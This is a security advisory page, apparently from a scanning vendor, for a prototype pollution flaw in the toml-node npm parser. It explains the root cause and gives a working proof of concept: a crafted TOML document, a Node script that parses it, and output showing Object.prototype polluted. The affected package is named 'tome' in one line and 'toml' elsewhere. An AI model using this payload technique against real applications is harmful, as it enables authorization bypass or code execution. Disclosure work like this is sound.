toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype
CVE-2026-114142 · GHSA-h895-cgqg-jf52 · published 22 Oct 2026
How serious is it
- Severity: high, CVSS score 8.8 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-114142?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
tome(npm) <= 5.0.0
How to check
- Run
npm ls tomein your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
tometo 5.0.1 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
CVE-2026-63376 described prototype pollution through __proto__ key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters.
A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries.
### Details
Three gaps compose. All line numbers are `lib/compiler.js` in 5.0.0.
**1. The path-key encoding is ambiguous.** `quoteDottedString()` quotes a segment only when it contains a `.`, and never escapes a `"` inside the segment:
```js
287: function quoteDottedString(str) {
288: if (str.indexOf(".") > -1) {
289: return "\"" + str + "\"";
290: } else {
291: return str;
292: }
293: }
```
So the key path `['x.y']` and the key path `['"x', 'y"']` both render as the string `"x.y"`. This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot.
**2. A table-array header can clear another key's guard.** `addTableArray()` walks `assignedPaths` / `valueAssignments` with `isSameOrSubPath()` over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry.
**3. The descent in `assign()` has no owned-container check.** `deepRef()` applies `isOwnedContainer()` only to intermediate segments (`lib/compiler.js:265`, `:273`) and returns the final container unchecked. `assign()` then walks it with only a shape test:
```js
93: target = target[k];
...
103: target[lastKey] = reduced;
```
A TOML datetime is a `Date`. It satisfies `typeof target[k] === "object"` and is not an array, so the walk descends into it — and a `Date` has a live prototype chain to `Object.prototype`.
Putting the three together, a document can make the current table a `Date` and then walk `__proto__.__proto__` to `Object.prototype`.
```bash
mkdir poc && cd poc && npm init -y >/dev/null && npm install toml@5.0.0
```
```toml
# poc.toml
"b.c" = 1979-05-27T07:32:00Z
[['"b']]
["b.c"]
__proto__.__proto__.polluted = "yes"
```
Line 1 defines a key whose rendered path is `"b.c"` and whose value is a `Date`.
Line 2 is a table-array header whose rendered path collides with it, clearing its guard.
Line 3 re-enters that key, so the current table is now the `Date`.
Line 4 walks `Date` → `Date.prototype` → `Object.prototype`.
```js
// poc.js
const toml = require('toml');
const fs = require('fs');
console.log('before:', JSON.stringify(({}).polluted));
toml.parse(fs.readFileSync('poc.toml', 'utf8'));
console.log('after: ', JSON.stringify(({}).polluted));
console.log('Object.prototype.hasOwnProperty("polluted") =', Object.prototype.hasOwnProperty('polluted'));
console.log('JSON.parse("{}").polluted =', JSON.stringify(JSON.parse('{}').polluted));
```
```
$ node poc.js
before: undefined
after: "yes"
Object.prototype.hasOwnProperty("polluted") = true
JSON.parse("{}").polluted = "yes"
```
The payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched.
A useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing.
### Impact
Any application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property.
Suggested fix: in `assign()`, apply the same check the intermediate descent already uses — after `target = target[k]`, reject when `!isOwnedContainer(target)`. Equivalently, apply `isOwnedContainer` to the value `deepRef()` returns. Separately, `quoteDottedString()` should escape `"` inside a segment so that distinct key paths cannot render to the same string.
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/BinaryMuse/toml-node/security/advisories/GHSA-h895-cgqg-jf52
- nvd.nist.gov/vuln/detail/CVE-2026-114142
- github.com/BinaryMuse/toml-node/commit/609c873fffea0a27ebe5b4dd098eed2b3daf3606
- github.com/BinaryMuse/toml-node/releases/tag/v5.0.1
- github.com/advisories/GHSA-h895-cgqg-jf52
- github.com/BinaryMuse/toml-node
Merged from GitHub Advisory Database, OSV. Last updated 25 Oct 2026. All vulnerabilities · RSS · JSON